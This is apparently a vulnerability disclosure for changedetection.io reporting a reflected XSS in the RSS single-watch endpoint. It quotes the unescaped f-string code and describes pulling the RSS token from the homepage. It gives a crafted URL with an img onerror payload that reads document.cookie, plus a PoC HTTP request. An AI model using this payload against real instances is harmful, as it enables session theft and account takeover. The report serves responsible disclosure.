    changedetection.io Vulnerable to Reflected XSS in RSS Single Watch Error Response ### Summary Three security vulnerabilities were identified in [changedetection.io](http://changedetection.io/) through source code review and live validation against a locally deployed Docker instance. All vulnerabilities were confirmed exploitable on the latest version (0.53.6) it was additionally validated at scale against 500 internet-facing instances discovered via FOFA search engine, producing 5K+ confirmed detections using a custom Nuclei template, demonstrating widespread real-world impact. The RSS single-watch endpoint reflects the UUID path parameter directly in the HTTP response body without HTML escaping. Since Flask returns text/html by default for plain string responses, the browser parses and executes injected JavaScript. ### Details File: `changedetectionio/blueprint/rss/single_watch.py (lines ~45 and ~50)` The UUID parameter from the URL path is interpolated into the response body using an f-string with no escaping: ### Line ~45 ``` watch = datastore.data['watching'].get(uuid) if not watch: return f"Watch with UUID {uuid} not found", 404 # ← No escaping, Content-Type: text/html ``` ### Line ~50 ``` if len(dates) < 2: return f"Watch {uuid} does not have enough history snapshots...", 400 # ← Same issue Flask's default Content-Type for plain string responses is text/html; charset=utf-8, so any HTML/JavaScript in {uuid} is rendered by the browser. ``` ## Attack Vector The attack requires a valid RSS access token, which is a 32-character hex string exposed in the HTML <link> tag on the homepage without authentication: <!-- Visible in page source of any unauthenticated instance --> <link rel="alternate" type="application/rss+xml" href="/rss?token=f2bb14e20ff01bad83a743cf21b5df95"> Attacker visits the target's homepage if it unauthenticathed and extracts the RSS token from the <link> tag Crafts a malicious URL: 1. http://target:5000/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E?token=EXTRACTED_TOKEN 2. Sends the link to a victim who has an active session on the [changedetection.io](http://changedetection.io/) instance 3. When the victim clicks the link, the server responds with: 4. Watch with UUID not found The browser renders the <img> tag, the onerror fires, and JavaScript executes in the victim's session context ### PoC Request: ``` GET /rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E?token=223e7edbbfee2268f5abb5344919054e HTTP/1.1 Host: [127.0.0.1:5000](http://127.0.0.1:5000/) ``` Response: ``` HTTP/1.1 404 NOT FOUND Content-Type: text/html; charset=utf-8 ``` Watch with UUID not found <img width="1918" height="1032" alt="image" src="https://github.com/user-attachments/assets/1633b167-e4ec-4705-a110-18fad7826fc9" /> The XSS payload is reflected unescaped in an HTML response. The browser executes alert(document.cookie). Lots of intances over internet affected to this. <img width="1465" height="721" alt="image" src="https://github.com/user-attachments/assets/f54160d4-abd1-4e8d-b845-f85e53e79325" /> ### Impact - Session cookie theft via document.cookie exfiltration - Account takeover if session cookies lack HttpOnly flag - Phishing via crafted links that appear to originate from a trusted [changedetection.io](http://changedetection.io/) instance - Token is obtainable without authentication from the homepage <link> tag, lowering the barrier to exploitation changedetection.io can work with developer teams to validate and address these issues. Please confirm receipt of this report and inform changedetection.io of the preferred timeline for coordinating the fix. Roberto Nunes